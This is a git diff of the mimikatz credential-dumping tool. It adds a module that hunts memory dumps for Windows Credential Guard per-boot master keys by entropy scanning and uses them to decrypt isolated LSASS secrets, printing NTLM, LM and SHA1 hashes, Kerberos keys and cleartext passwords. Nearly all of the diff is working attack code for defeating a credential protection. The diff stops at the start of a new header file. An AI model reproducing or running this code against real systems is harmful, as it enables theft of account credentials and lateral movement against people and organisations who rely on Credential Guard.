diff --git a/lib/Win32/bcrypt.lib b/lib/Win32/bcrypt.lib
index 1895f566..90f38386 100644
Binary files a/lib/Win32/bcrypt.lib and b/lib/Win32/bcrypt.lib differ
diff --git a/lib/x64/bcrypt.lib b/lib/x64/bcrypt.lib
index d01d08dc..d55507fd 100644
Binary files a/lib/x64/bcrypt.lib and b/lib/x64/bcrypt.lib differ
diff --git a/mimikatz/mimikatz.vcxproj b/mimikatz/mimikatz.vcxproj
index cc9b5cfb..3574d8bc 100644
--- a/mimikatz/mimikatz.vcxproj
+++ b/mimikatz/mimikatz.vcxproj
@@ -119,6 +119,7 @@
+
@@ -154,7 +155,7 @@
SQLITE_UNTESTABLE;SQLITE_DISABLE_INTRINSIC;SQLITE_OMIT_LOCALTIME;SQLITE_DQS=0;SQLITE_THREADSAFE=0;SQLITE_DEFAULT_MEMSTATUS=0;SQLITE_DEFAULT_WAL_SYNCHRONOUS=1;SQLITE_LIKE_DOESNT_MATCH_BLOBS;SQLITE_MAX_EXPR_DEPTH=0;SQLITE_OMIT_DECLTYPE;SQLITE_OMIT_DEPRECATED;SQLITE_OMIT_PROGRESS_CALLBACK;SQLITE_OMIT_SHARED_CACHE;SQLITE_USE_ALLOCA;SQLITE_OMIT_OR_OPTIMIZATION;SQLITE_OMIT_LIKE_OPTIMIZATION;SQLITE_OMIT_BETWEEN_OPTIMIZATION;SQLITE_OMIT_TRUNCATE_OPTIMIZATION;SQLITE_OMIT_TCL_VARIABLE;%(PreprocessorDefinitions)
- false
+ false
Level2
@@ -205,6 +206,7 @@
+
@@ -222,6 +224,7 @@
+
@@ -310,6 +313,7 @@
+
diff --git a/mimikatz/mimikatz.vcxproj.filters b/mimikatz/mimikatz.vcxproj.filters
index 1b3cbce9..54e3999d 100644
--- a/mimikatz/mimikatz.vcxproj.filters
+++ b/mimikatz/mimikatz.vcxproj.filters
@@ -290,6 +290,12 @@
common modules
+
+ common modules
+
+
+ local modules\sekurlsa
+
@@ -599,6 +605,12 @@
common modules
+
+ common modules
+
+
+ local modules\sekurlsa
+
diff --git a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.c b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.c
index 2c63cb11..f8f8b9d9 100644
--- a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.c
+++ b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.c
@@ -42,7 +42,7 @@ NTSTATUS kuhl_m_dpapi_cred(int argc, wchar_t * argv[])
kull_m_cred_descr(0, cred);
if(kull_m_string_args_byName(argc, argv, L"lsaiso", NULL, NULL))
{
- kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) cred->CredentialBlob);
+ kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) cred->CredentialBlob, NULL, NULL);
kprintf(L"\n");
}
else kuhl_m_dpapi_cred_tryEncrypted(cred->TargetName, cred->CredentialBlob, cred->CredentialBlobSize, argc, argv);
diff --git a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_keys.c b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_keys.c
index 7bba4759..c1a157eb 100644
--- a/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_keys.c
+++ b/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_keys.c
@@ -122,7 +122,7 @@ NTSTATUS kuhl_m_dpapi_keys_cng(int argc, wchar_t * argv[])
{
if(isIso)
{
- kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) ((PBYTE) out + sizeof(DWORD)));
+ kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) ((PBYTE) out + sizeof(DWORD)), NULL, NULL);
kprintf(L"\n");
}
else
diff --git a/mimikatz/modules/kuhl_m_crypto.c b/mimikatz/modules/kuhl_m_crypto.c
index f2912fdd..90cf063b 100644
--- a/mimikatz/modules/kuhl_m_crypto.c
+++ b/mimikatz/modules/kuhl_m_crypto.c
@@ -879,7 +879,7 @@ BOOL kuhl_m_crypto_system_data(PBYTE data, DWORD len, PCWCHAR originalName, BOOL
kuhl_m_crypto_file_rawData(prop, originalName, isExport);
break;
case 118: // CERT_ISOLATED_KEY_PROP_ID
- kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) prop->data);
+ kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) prop->data, NULL, NULL);
kprintf(L"\n");
break;
case CERT_SHA1_HASH_PROP_ID:
diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c
index ad1bfdda..b37bbd8f 100644
--- a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c
+++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c
@@ -18,7 +18,6 @@ const KUHL_M_C kuhl_m_c_sekurlsa[] = {
{kuhl_m_sekurlsa_process, L"process", L"Switch (or reinit) to LSASS process context"},
{kuhl_m_sekurlsa_minidump, L"minidump", L"Switch (or reinit) to LSASS minidump context"},
-
{kuhl_m_sekurlsa_pth, L"pth", L"Pass-the-hash"},
#if !defined(_M_ARM64)
{kuhl_m_sekurlsa_krbtgt, L"krbtgt", L"krbtgt!"},
@@ -127,6 +126,7 @@ NTSTATUS kuhl_m_sekurlsa_minidump(int argc, wchar_t * argv[])
}
return STATUS_SUCCESS;
}
+
NTSTATUS kuhl_m_sekurlsa_init()
{
lsassLocalHelper = NULL;
@@ -141,6 +141,7 @@ NTSTATUS kuhl_m_sekurlsa_clean()
status = lsassLocalHelper->cleanLocalLib();
lsassLocalHelper = NULL;
}
+ kuhl_m_sekurlsa_sk_candidatekeys_delete();
return status;
}
@@ -182,7 +183,7 @@ NTSTATUS kuhl_m_sekurlsa_acquireLSA()
{
if(Type == KULL_M_MEMORY_TYPE_PROCESS_DMP)
{
- if(pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, SystemInfoStream))
+ if(pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, SystemInfoStream, NULL))
{
cLsass.osContext.MajorVersion = pInfos->MajorVersion;
cLsass.osContext.MinorVersion = pInfos->MinorVersion;
@@ -1049,8 +1050,11 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
PWSTR sid = NULL;
PBYTE msvCredentials;
const MSV1_0_PRIMARY_HELPER * pMSVHelper;
+#if defined(_M_X64) || defined(_M_ARM64)
+ DWORD cbLsaIsoOutput;
+ PBYTE lsaIsoOutput;
PLSAISO_DATA_BLOB blob = NULL;
-
+#endif
if(mesCreds)
{
ConvertSidToStringSid(pData->pSid, &sid);
@@ -1086,29 +1090,54 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
kprintf(L"\n\t * SHA1 : ");
kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToShaOwPassword, SHA_DIGEST_LENGTH, 0);
}
- if(pMSVHelper->offsetToisDPAPIProtected && *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisDPAPIProtected))
- {
- kprintf(L"\n\t * DPAPI : ");
- kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToDPAPIProtected, LM_NTLM_HASH_LENGTH, 0); // 020000000000
- }
if(sid && (*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) || *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword)))
kuhl_m_dpapi_oe_credential_add(sid, NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) ? msvCredentials + pMSVHelper->offsetToNtOwfPassword : NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword) ? msvCredentials + pMSVHelper->offsetToShaOwPassword : NULL, NULL, NULL);
}
+ #if defined(_M_X64) || defined(_M_ARM64)
else
{
i = *(PUSHORT) (msvCredentials + pMSVHelper->offsetToIso);
- if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_10_1607)
- {
- //kprintf(L"\n\t * unkSHA1: ");
- //kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToIso + sizeof(USHORT), SHA_DIGEST_LENGTH, 0);
- msvCredentials += LM_NTLM_HASH_LENGTH + sizeof(DWORD);
- }
-
if((i == (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("NtlmHash") - 1) + 2*LM_NTLM_HASH_LENGTH + SHA_DIGEST_LENGTH)) ||
i == (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("NtlmHash") - 1) + 3*LM_NTLM_HASH_LENGTH + SHA_DIGEST_LENGTH))
- kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso + sizeof(USHORT)));
- else
- kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso + sizeof(USHORT)), i);
+ {
+ if(kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso), &lsaIsoOutput, &cbLsaIsoOutput))
+ {
+ if(cbLsaIsoOutput == (2*LM_NTLM_HASH_LENGTH + SHA_DIGEST_LENGTH))
+ {
+ if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword))
+ {
+ kprintf(L"\n\t * NTLM : ");
+ kull_m_string_wprintf_hex(lsaIsoOutput, LM_NTLM_HASH_LENGTH, 0);
+ }
+ if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisLmOwfPassword))
+ {
+ kprintf(L"\n\t * LM : ");
+ kull_m_string_wprintf_hex(lsaIsoOutput + LM_NTLM_HASH_LENGTH, LM_NTLM_HASH_LENGTH, 0);
+ }
+ if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword))
+ {
+ kprintf(L"\n\t * SHA1 : ");
+ kull_m_string_wprintf_hex(lsaIsoOutput + 2*LM_NTLM_HASH_LENGTH, SHA_DIGEST_LENGTH, 0);
+ }
+ if(sid && (*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) || *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword)))
+ kuhl_m_dpapi_oe_credential_add(sid, NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) ? lsaIsoOutput : NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword) ? lsaIsoOutput + 2*LM_NTLM_HASH_LENGTH : NULL, NULL, NULL);
+ }
+ else
+ {
+ PRINT_ERROR(L"Size error for NtlmHash LsaIso output (%u)\n", cbLsaIsoOutput);
+ kull_m_string_wprintf_hex(lsaIsoOutput, cbLsaIsoOutput, 1 | (16 << 16));
+ kprintf(L"\n");
+ }
+ LocalFree(lsaIsoOutput);
+ }
+ }
+ else kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso + sizeof(USHORT)), i);
+ }
+ #endif
+ if(pMSVHelper->offsetToisDPAPIProtected && *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisDPAPIProtected))
+ {
+ kprintf(L"\n\t * DPAPI : ");
+ kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToDPAPIProtected, LM_NTLM_HASH_LENGTH, 0); // 020000000000
}
break;
case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY:
@@ -1161,14 +1190,22 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
buffer.Buffer = (PWSTR) pHashPassword->Checksump;
if(kull_m_process_getUnicodeString(&buffer, cLsass.hLsassMem))
{
+ #if defined(_M_X64) || defined(_M_ARM64)
if((flags & KUHL_SEKURLSA_CREDS_DISPLAY_KERBEROS_10) && (pHashPassword->Size > (ULONG) FIELD_OFFSET(LSAISO_DATA_BLOB, data)))
{
if(pHashPassword->Size <= (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("KerberosKey") - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key
- kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) buffer.Buffer);
- else
- kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) buffer.Buffer, (DWORD) pHashPassword->Size);
+ {
+ if(kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) buffer.Buffer, &lsaIsoOutput, &cbLsaIsoOutput))
+ {
+ kprintf(L"\n\t * Key : ");
+ kull_m_string_wprintf_hex(lsaIsoOutput, cbLsaIsoOutput, 0);
+ LocalFree(lsaIsoOutput);
+ }
+ }
+ else kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) buffer.Buffer, (DWORD) pHashPassword->Size);
}
else
+ #endif
{
if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/)
(*lsassLocalHelper->pLsaUnprotectMemory)(buffer.Buffer, buffer.MaximumLength);
@@ -1188,6 +1225,7 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
{
switch(((PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607) mesCreds)->type)
{
+ #if defined(_M_X64) || defined(_M_ARM64)
case 1:
mesCreds->Password.Length = mesCreds->Password.MaximumLength = 0;
mesCreds->Password.Buffer = NULL;
@@ -1196,6 +1234,8 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
if(kull_m_process_getUnicodeString(&buffer, cLsass.hLsassMem))
blob = (PLSAISO_DATA_BLOB) buffer.Buffer;
//break;
+ //TODO: to check another day :)
+ #endif
case 0:
// no creds
mesCreds->Password.Length = mesCreds->Password.MaximumLength = 0;
@@ -1242,23 +1282,37 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
L"\n\t * Password : "
, username, domain);
- if(!password || kull_m_string_suspectUnicodeString(password))
- {
- if((flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDMANPASS) && password)
- kprintf(L"%.*s", password->Length / sizeof(wchar_t), password->Buffer);
- else
- kprintf(L"%wZ", password);
- }
- else kull_m_string_wprintf_hex(password->Buffer, password->Length, 1);
+ if(password)
+ {
+ if(kull_m_string_suspectUnicodeString(password))
+ {
+ if((flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDMANPASS))
+ kprintf(L"%.*s", password->Length / sizeof(wchar_t), password->Buffer);
+ else kprintf(L"%wZ", password);
+ }
+ else kull_m_string_wprintf_hex(password->Buffer, password->Length, 1);
+ }
+ #if defined(_M_X64) || defined(_M_ARM64)
+ else if(blob)
+ {
+ if(kuhl_m_sekurlsa_genericLsaIsoOutput(blob, &lsaIsoOutput, &cbLsaIsoOutput))
+ {
+ kprintf(L"\n\t * Password: ");
+ buffer.Length = buffer.MaximumLength = (USHORT) cbLsaIsoOutput;
+ buffer.Buffer = (PWSTR) lsaIsoOutput;
+ if((cbLsaIsoOutput < USHRT_MAX) && kull_m_string_suspectUnicodeString(&buffer))
+ kprintf(L"%wZ", &buffer);
+ else kull_m_string_wprintf_hex(lsaIsoOutput, cbLsaIsoOutput, 1);
+ LocalFree(lsaIsoOutput);
+ }
+ LocalFree(blob);
+ }
+ #endif
+ else kprintf(L"(null)");
- if(username)
- kuhl_m_sekurlsa_trymarshal(username);
+ if(username)
+ kuhl_m_sekurlsa_trymarshal(username);
- if(blob)
- {
- kuhl_m_sekurlsa_genericLsaIsoOutput(blob);
- LocalFree(blob);
- }
}
if(username)
@@ -1356,14 +1410,17 @@ VOID kuhl_m_sekurlsa_genericKeyOutput(PKIWI_CREDENTIAL_KEY key, LPCWSTR sid)
}
}
-VOID kuhl_m_sekurlsa_genericLsaIsoOutput(PLSAISO_DATA_BLOB blob)
+BOOL kuhl_m_sekurlsa_genericLsaIsoOutput(PLSAISO_DATA_BLOB blob, LPBYTE *output, DWORD *cbOutput)
{
+ BOOL status = TRUE;
kprintf(L"\n\t * LSA Isolated Data: %.*S", blob->typeSize, blob->data);
- kprintf(L"\n\t Unk-Key : "); kull_m_string_wprintf_hex(blob->unkKeyData, sizeof(blob->unkKeyData), 0);
- kprintf(L"\n\t Encrypted: "); kull_m_string_wprintf_hex(blob->data + blob->typeSize, blob->origSize, 0);
- kprintf(L"\n\t\t SS:%u, TS:%u, DS:%u", blob->structSize, blob->typeSize, blob->origSize);
- kprintf(L"\n\t\t 0:0x%x, 1:0x%x, 2:0x%x, 3:0x%x, 4:0x%x, E:", blob->unk0, blob->unk1, blob->unk2, blob->unk3, blob->unk4);
- kull_m_string_wprintf_hex(blob->unkData2, sizeof(blob->unkData2), 0); kprintf(L", 5:0x%x", blob->unk5);
+ kprintf(L"\n\t KdfContext: "); kull_m_string_wprintf_hex(blob->KdfContext, sizeof(blob->KdfContext), 0);
+ kprintf(L"\n\t Tag : "); kull_m_string_wprintf_hex(blob->Tag, sizeof(blob->Tag), 0);
+ kprintf(L"\n\t AuthData : "); kull_m_string_wprintf_hex(&blob->unk5, FIELD_OFFSET(LSAISO_DATA_BLOB, data) - FIELD_OFFSET(LSAISO_DATA_BLOB, unk5) + blob->typeSize, 0);
+ kprintf(L"\n\t Encrypted : "); kull_m_string_wprintf_hex(blob->data + blob->typeSize, blob->szEncrypted, 0);
+ if(blob->szEncrypted && output && cbOutput)
+ status = kuhl_m_sekurlsa_sk_tryDecode(blob, output, cbOutput);
+ return status;
}
VOID kuhl_m_sekurlsa_genericEncLsaIsoOutput(PENC_LSAISO_DATA_BLOB blob, DWORD size)
diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h
index ed175b5c..849893c5 100644
--- a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h
+++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h
@@ -66,7 +66,7 @@ VOID kuhl_m_sekurlsa_pth_luid(PSEKURLSA_PTH_DATA data);
VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, ULONG flags);
VOID kuhl_m_sekurlsa_trymarshal(PCUNICODE_STRING MarshaledCredential);
VOID kuhl_m_sekurlsa_genericKeyOutput(struct _KIWI_CREDENTIAL_KEY * key, LPCWSTR sid);
-VOID kuhl_m_sekurlsa_genericLsaIsoOutput(struct _LSAISO_DATA_BLOB * blob);
+BOOL kuhl_m_sekurlsa_genericLsaIsoOutput(struct _LSAISO_DATA_BLOB * blob, LPBYTE *output, DWORD *cbOutput);
VOID kuhl_m_sekurlsa_genericEncLsaIsoOutput(struct _ENC_LSAISO_DATA_BLOB * blob, DWORD size);
void kuhl_m_sekurlsa_bkey(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKUHL_M_SEKURLSA_LIB pLib, PKULL_M_PATCH_GENERIC generics, SIZE_T cbGenerics, BOOL isExport);
#if !defined(_M_ARM64)
@@ -208,11 +208,15 @@ typedef struct _LSAISO_DATA_BLOB {
DWORD unk2;
DWORD unk3;
DWORD unk4;
- BYTE unkKeyData[3*16];
- BYTE unkData2[16];
- DWORD unk5;
- DWORD origSize;
- BYTE data[ANYSIZE_ARRAY];
+ BYTE KdfContext[32];
+ BYTE Tag[16];
+ DWORD unk5; // AuthData start
+ DWORD unk6;
+ DWORD unk7;
+ DWORD unk8;
+ DWORD unk9;
+ DWORD szEncrypted; // AuthData ends + type
+ BYTE data[ANYSIZE_ARRAY]; // Type then Encrypted
} LSAISO_DATA_BLOB, *PLSAISO_DATA_BLOB;
typedef struct _ENC_LSAISO_DATA_BLOB {
@@ -221,4 +225,5 @@ typedef struct _ENC_LSAISO_DATA_BLOB {
BYTE data[ANYSIZE_ARRAY];
} ENC_LSAISO_DATA_BLOB, *PENC_LSAISO_DATA_BLOB;
-#include "../dpapi/kuhl_m_dpapi_oe.h"
\ No newline at end of file
+#include "../dpapi/kuhl_m_dpapi_oe.h"
+#include "kuhl_m_sekurlsa_sk.h"
\ No newline at end of file
diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_sk.c b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_sk.c
new file mode 100644
index 00000000..6479c0f9
--- /dev/null
+++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_sk.c
@@ -0,0 +1,208 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : https://creativecommons.org/licenses/by/4.0/
+*/
+#include "kuhl_m_sekurlsa_sk.h"
+
+LIST_ENTRY gCandidateKeys = {&gCandidateKeys, &gCandidateKeys};
+BYTE gIumMkPerBoot[32];
+BOOL isgIumMkPerBoot = FALSE;
+
+BOOL kuhl_m_sekurlsa_sk_candidatekey_add(BYTE key[32], DOUBLE entropy)
+{
+ BOOL status = FALSE;
+ PKEYLIST_ENTRY entry;
+ if(key)
+ {
+ if(entry = (PKEYLIST_ENTRY) LocalAlloc(LPTR, sizeof(KEYLIST_ENTRY)))
+ {
+ RtlCopyMemory(entry->key, key, 32);
+ entry->entropy = entropy;
+ entry->navigator.Blink = gCandidateKeys.Blink;
+ entry->navigator.Flink = &gCandidateKeys;
+ ((PKEYLIST_ENTRY) gCandidateKeys.Blink)->navigator.Flink = (PLIST_ENTRY) entry;
+ gCandidateKeys.Blink = (PLIST_ENTRY) entry;
+ status = TRUE;
+ }
+ }
+ else PRINT_ERROR(L"No key?");
+ return status;
+}
+
+void kuhl_m_sekurlsa_sk_candidatekey_delete(PKEYLIST_ENTRY entry)
+{
+ if(entry)
+ {
+ ((PKEYLIST_ENTRY) entry->navigator.Blink)->navigator.Flink = entry->navigator.Flink;
+ ((PKEYLIST_ENTRY) entry->navigator.Flink)->navigator.Blink = entry->navigator.Blink;
+ LocalFree(entry);
+ }
+}
+
+void kuhl_m_sekurlsa_sk_candidatekey_descr(PKEYLIST_ENTRY entry)
+{
+ if(entry)
+ {
+ kprintf(L" ");
+ kull_m_string_wprintf_hex(entry->key, 32, 0);
+ kprintf(L" (%f)\n", entry->entropy);
+ }
+}
+
+void kuhl_m_sekurlsa_sk_candidatekeys_delete()
+{
+ PKEYLIST_ENTRY tmp, entry;
+ for(entry = (PKEYLIST_ENTRY) gCandidateKeys.Flink; entry != (PKEYLIST_ENTRY) &gCandidateKeys; entry = tmp)
+ {
+ tmp = (PKEYLIST_ENTRY) entry->navigator.Flink;
+ kuhl_m_sekurlsa_sk_candidatekey_delete(entry);
+ }
+}
+
+void kuhl_m_sekurlsa_sk_candidatekeys_descr()
+{
+ PKEYLIST_ENTRY entry;
+ for(entry = (PKEYLIST_ENTRY) gCandidateKeys.Flink; entry != (PKEYLIST_ENTRY) &gCandidateKeys; entry = (PKEYLIST_ENTRY) entry->navigator.Flink)
+ kuhl_m_sekurlsa_sk_candidatekey_descr(entry);
+}
+
+extern double __cdecl log(__in double _X);
+DOUBLE normalizedEntropy(LPCBYTE data, DWORD len)
+{
+ DOUBLE ret = 0.0, p;
+ DWORD i, hist[256] = {0};
+ for (i = 0; i < len; i++)
+ hist[data[i]]++;
+ for(i = 0; i < ARRAYSIZE(hist); i++)
+ {
+ if(hist[i])
+ {
+ p = (DOUBLE) hist[i] / (DOUBLE) len;
+ ret += p * log(p);
+ }
+ }
+ return (ret == 0.0) ? 0.0 : (-ret / log(256.));
+}
+
+DWORD kuhl_m_sekurlsa_sk_search(PBYTE data, DWORD size, BOOL light)
+{
+ PBYTE ptr;
+ DOUBLE e;
+ DWORD c = 0;
+
+ for(ptr = data; size > 0x40; ptr += 0x10, size -= 0x10)
+ {
+ if( (!*(PULONGLONG) ptr + 0x00) &&
+ (*(PULONGLONG) (ptr + 0x08) & 0x00ffffffffffffff) &&
+ (*(PUSHORT) (ptr + 0x0e) == 0x1000) &&
+ (!*(PULONGLONG) ptr + 0x30) &&
+ (*(PULONGLONG) (ptr + 0x38) & 0x00ffffffffffffff) &&
+ ((*(PUSHORT) (ptr + 0x0e) == 0x1000) || (*(PUSHORT) (ptr + 0x0e) == 0x0800)) &&
+ (light || ((ptr[0x09] == ptr[0x0d]) && (ptr[0x09] == ptr[0x39]) && (ptr[0x09] == ptr[0x3d]))) )
+ {
+ e = normalizedEntropy(ptr + 0x10, 0x20);
+ if(e > 0.59)
+ {
+ kuhl_m_sekurlsa_sk_candidatekey_add(ptr + 0x10, e);
+ c++;
+ }
+ }
+ }
+ return c;
+}
+
+#define KUHL_M_SEKURLSA_SK_SEARCH_FILE_CUTME (256 * 1024 * 1024)
+DWORD kuhl_m_sekurlsa_sk_search_file(LPCWSTR filename)
+{
+ DWORD c = 0, dwBytesReaded;
+ LARGE_INTEGER i, fileSize, toRead;
+ HANDLE hFile;
+ PBYTE buffer;
+ if((hFile = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE , NULL, OPEN_EXISTING, 0, NULL)) && hFile != INVALID_HANDLE_VALUE)
+ {
+ if(GetFileSizeEx(hFile, &fileSize))
+ {
+ if(buffer = (PBYTE) LocalAlloc(LPTR, KUHL_M_SEKURLSA_SK_SEARCH_FILE_CUTME))
+ {
+ for(i.QuadPart = 0; i.QuadPart < fileSize.QuadPart; i.QuadPart += KUHL_M_SEKURLSA_SK_SEARCH_FILE_CUTME)
+ {
+ toRead.QuadPart = ((i.QuadPart + KUHL_M_SEKURLSA_SK_SEARCH_FILE_CUTME) < fileSize.QuadPart) ? KUHL_M_SEKURLSA_SK_SEARCH_FILE_CUTME : (fileSize.QuadPart - i.QuadPart);
+ if(SetFilePointerEx(hFile, i, NULL, FILE_BEGIN))
+ {
+ if(ReadFile(hFile, buffer, toRead.LowPart, &dwBytesReaded, NULL))
+ c += kuhl_m_sekurlsa_sk_search(buffer, dwBytesReaded, TRUE);
+ else PRINT_ERROR_AUTO(L"ReadFile");
+ }
+ else PRINT_ERROR_AUTO(L"SetFilePointerEx");
+ }
+ LocalFree(buffer);
+ }
+ }
+ else PRINT_ERROR_AUTO(L"GetFileSizeEx");
+ CloseHandle(hFile);
+ }
+ else PRINT_ERROR_AUTO(L"CreateFile");
+ return c;
+}
+
+NTSTATUS kuhl_m_sekurlsa_sk_tryDecodeKey(LPBYTE Key, DWORD cbKey, PLSAISO_DATA_BLOB blob, PBYTE output)
+{
+ return SkpEncryptionWorker(Key, cbKey, blob->data + blob->typeSize, blob->szEncrypted, (UCHAR *) &blob->unk5, FIELD_OFFSET(LSAISO_DATA_BLOB, data) - FIELD_OFFSET(LSAISO_DATA_BLOB, unk5) + blob->typeSize, blob->KdfContext, sizeof(blob->KdfContext), blob->Tag, sizeof(blob->Tag), output, blob->szEncrypted, FALSE);
+}
+
+BOOL kuhl_m_sekurlsa_sk_tryDecode(PLSAISO_DATA_BLOB blob, PBYTE *output, DWORD *cbOutput)
+{
+ NTSTATUS ntStatus;
+ PKEYLIST_ENTRY entry;
+ if(!isgIumMkPerBoot)
+ {
+ if(gCandidateKeys.Flink != &gCandidateKeys)
+ {
+ if(*output = (PBYTE) LocalAlloc(LPTR, blob->szEncrypted))
+ {
+ *cbOutput = blob->szEncrypted;
+ for(entry = (PKEYLIST_ENTRY) gCandidateKeys.Flink; entry != (PKEYLIST_ENTRY) &gCandidateKeys; entry = (PKEYLIST_ENTRY) entry->navigator.Flink)
+ {
+ ntStatus = kuhl_m_sekurlsa_sk_tryDecodeKey(entry->key, sizeof(entry->key), blob, *output);
+ if(NT_SUCCESS(ntStatus))
+ {
+ RtlCopyMemory(gIumMkPerBoot, entry->key, min(sizeof(gIumMkPerBoot), sizeof(entry->key)));
+ isgIumMkPerBoot = TRUE;
+ kuhl_m_sekurlsa_sk_candidatekeys_delete();
+ break;
+ }
+ }
+
+ if(!isgIumMkPerBoot)
+ {
+ *output = (PBYTE) LocalFree(*output);
+ *cbOutput = 0;
+ }
+ else
+ {
+ kprintf(L"\n[Found IumMkPerBoot: ");
+ kull_m_string_wprintf_hex(gIumMkPerBoot, 32, 0);
+ kprintf(L"]");
+ }
+ }
+ }
+ }
+ else if(isgIumMkPerBoot)
+ {
+ if(*output = (PBYTE) LocalAlloc(LPTR, blob->szEncrypted))
+ {
+ *cbOutput = blob->szEncrypted;
+ ntStatus = kuhl_m_sekurlsa_sk_tryDecodeKey(gIumMkPerBoot, sizeof(gIumMkPerBoot), blob, *output);
+ if(!NT_SUCCESS(ntStatus))
+ {
+ kprintf(L"\n");
+ PRINT_ERROR(L"SkpEncryptionWorker(decrypt): 0x%08x -- invalidating the key\n", ntStatus);
+ isgIumMkPerBoot = FALSE;
+ *output = (PBYTE) LocalFree(*output);
+ *cbOutput = 0;
+ }
+ }
+ }
+ return isgIumMkPerBoot;
+}
\ No newline at end of file
diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_sk.h b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_sk.h
new file mode 100644
index 00000000..65f5799c
--- /dev/null
